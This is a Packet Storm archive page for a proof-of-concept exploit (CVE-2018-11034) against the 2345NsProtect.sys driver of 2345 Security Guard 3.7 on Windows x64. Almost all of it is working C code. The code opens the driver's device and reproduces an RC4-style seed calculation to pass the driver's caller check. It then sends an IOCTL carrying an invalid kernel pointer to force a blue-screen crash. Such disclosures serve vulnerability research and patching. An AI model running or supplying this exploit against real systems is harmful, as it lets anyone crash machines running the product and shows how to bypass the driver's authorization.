exploit the possibilities

2345 Security Guard 3.7 2345NsProtect.sys Denial Of Service

2345 Security Guard 3.7 2345NsProtect.sys Denial Of Service
Posted May 15, 2018
Authored by anhkgg

2345 Security Guard version 3.7 suffers from a denial of service vulnerability related to 2345NsProtect.sys.

tags | exploit, denial of service
advisories | CVE-2018-11034
MD5 | a4e706a10a57bd1231786c5f463b49c3

2345 Security Guard 3.7 2345NsProtect.sys Denial Of Service

Change Mirror Download
# Exploit Title: [BSOD  by IOCTL 0x8000200D in 2345NsProtect.sys  of 2345 Security Guard 3.7]
# Date: [20180513]
# Exploit Author: [anhkgg]
# Vendor Homepage: [http://safe.2345.cc/]
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
# Version: [v3.7] (REQUIRED)
# Tested on: [Windows X64]
# CVE : [CVE-2018- 11034]

#include <windows.h>
#include <stdio.h>

struct NETFW_IOCTL_ADD_PID
{
DWORD pid;
char seed[0x14];//
};//0x18

struct NETFW_IOCTL_SET_PID
{
BYTE set_state;//
BYTE unk;//1
WORD buf_len;//2
DWORD pid;//4
char buf[0x64];//8
};//6c

struct NETFW_IOCTL_222040
{
DWORD* ptr;
DWORD size;
};//

int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
int result;

*a1 ^= *a2;
*a2 ^= *a1;
result = (unsigned __int8)*a2;
*a1 ^= result;
return result;
}

int __stdcall sub_12A80(char *a1, int len, char *a3)
{
int result;
unsigned __int8 v4;
__int16 i;
__int16 j;
unsigned __int8 k;

for ( i = 0; i < 256; ++i )
a3[i] = i;
a3[256] = 0;
a3[257] = 0;
k = 0;
v4 = 0;
result = 0;
for ( j = 0; j < 256; ++j )
{
v4 += a3[j] + a1[k];
f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
result = (k + 1) / len;
k = (k + 1) % len;
}
return result;
}

char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
char *result;
__int16 i;
unsigned __int8 v5;
unsigned __int8 v6;

v5 = a3[256];
v6 = a3[257];
for ( i = 0; i < len; ++i )
{
v6 += a3[++v5];
f_XOR__12A30((BYTE*)&a3[v5], (BYTE*)&a3[v6]);
a1[i] ^= a3[(unsigned __int8)(a3[v6] + a3[v5])];
}
a3[256] = v5;
result = a3;
a3[257] = v6;
return result;
}

void calc_seed(char* seed, char* dst)
{
char Source1[26] = {0};
char a3[300] = {0};

Source1[0] = 8;
Source1[1] = 14;
Source1[2] = 8;
Source1[3] = 10;
Source1[4] = 2;
Source1[5] = 3;
Source1[6] = 29;
Source1[7] = 23;
Source1[8] = 13;
Source1[9] = 3;
Source1[10] = 15;
Source1[11] = 22;
Source1[12] = 15;
Source1[13] = 7;
Source1[14] = 91;
Source1[15] = 4;
Source1[16] = 18;
Source1[17] = 26;
Source1[18] = 26;
Source1[19] = 3;
Source1[20] = 4;
Source1[21] = 1;
Source1[22] = 15;
Source1[23] = 25;
Source1[24] = 10;
Source1[25] = 13;

sub_12A80(seed, 0x14, a3);
sub_12B60(Source1, 0x1A, a3);
memcpy(dst, Source1, 26);
}

int poc_2345NetFirewall()
{
HANDLE h = CreateFileA("\\\\.\\2345NetFirewall",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(h == INVALID_HANDLE_VALUE) {
printf("[-] Open device error: %d\n", GetLastError());
return 1;
}
DWORD BytesReturned = 0;

DWORD ctlcode = 0x222298;
NETFW_IOCTL_ADD_PID add_pid = {0};
add_pid.pid = GetCurrentProcessId();

if(!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
}

ctlcode = 0x2222A4;
NETFW_IOCTL_SET_PID set_pid = {0};
set_pid.pid = GetCurrentProcessId();
set_pid.set_state = 1;

calc_seed(add_pid.seed, set_pid.buf);
set_pid.buf_len = 26;

if(!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
}

//BSOD
ctlcode = 0x222040;
NETFW_IOCTL_222040 buf_222040 = {0};
buf_222040.size = 1;
buf_222040.ptr = (DWORD*)0x80000000;
if(!DeviceIoControl(h, ctlcode, &buf_222040, sizeof(NETFW_IOCTL_222040), &buf_222040, sizeof(NETFW_IOCTL_222040), &BytesReturned, NULL)) {
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
}

return 0;
}

int main()
{
poc_2345NetFirewall();

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    15 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close